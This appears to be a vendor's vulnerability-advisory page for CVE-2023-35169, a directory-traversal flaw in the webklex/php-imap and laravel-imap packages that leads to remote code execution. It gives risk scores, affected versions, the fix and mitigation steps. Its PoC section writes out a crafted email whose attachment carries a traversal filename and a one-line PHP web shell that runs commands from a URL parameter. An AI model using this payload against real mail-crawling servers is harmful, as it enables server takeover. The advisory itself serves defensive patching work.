NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
CRITICAL severity

CVE-2023-35169 — php-imap

CRITICALFix: Webklex/php-imap#414

CVE-2023-35169 is a critical-severity (CVSS 9) Path Traversal vulnerability in webklex/php-imap. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for webklex/php-imap — see the affected versions and patch details below.

php-imap vulnerable to RCE through a directory traversal vulnerability

Also known asGHSA-47p7-xfcc-4pv9
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
1 known
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-35169.

EPSS Exploitation Probability

via FIRST.org ↗
3.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs88th percentile — riskier than 88% of all scored CVEsHighest risk
1.23%4.71%8.20%11.7%9.7%3.2%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
🐘webklex/php-imap🐘webklex/laravel-imap

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

Details

An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255). In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252). Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package. There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions. The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,... The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

PoC

  1. send an email with a malicious attachment to an inbox, which gets crawled by the package
Return-Path: <[email protected]>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <[email protected]>
To: Victim <[email protected]>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with malicious attachment

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php

<?php
// RCE
system($_GET['cmd'] ?? '#');
?>

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--


  1. crawl email with malicious attachment
  2. store the attachment with Attachment::save('/path/to/storage') without providing a $filename value

Impact

This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability. Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistwebklex/php-imapall versions5.3.0composer require webklex/php-imap:^5.3.0
🐘Packagistwebklex/laravel-imapall versions5.3.0composer require webklex/laravel-imap:^5.3.0

Affected Products

1 product · 1 configurations
Application
php-imapwebklex
< 5.3.0
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for webklex/php-imap, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update webklex/php-imap to 5.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-35169 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability. ### Details An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a `$filename`, or providing an unsanitized `$filename`, in `src/Attachment::save(string $path, string $filename = null)` (https://github.com/Webklex/php-imap/blob/5.2.0/sr
O3 Security · Impact-Aware SCA

Is CVE-2023-35169 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2023-35169: php-imap — Fixed in 5.3.0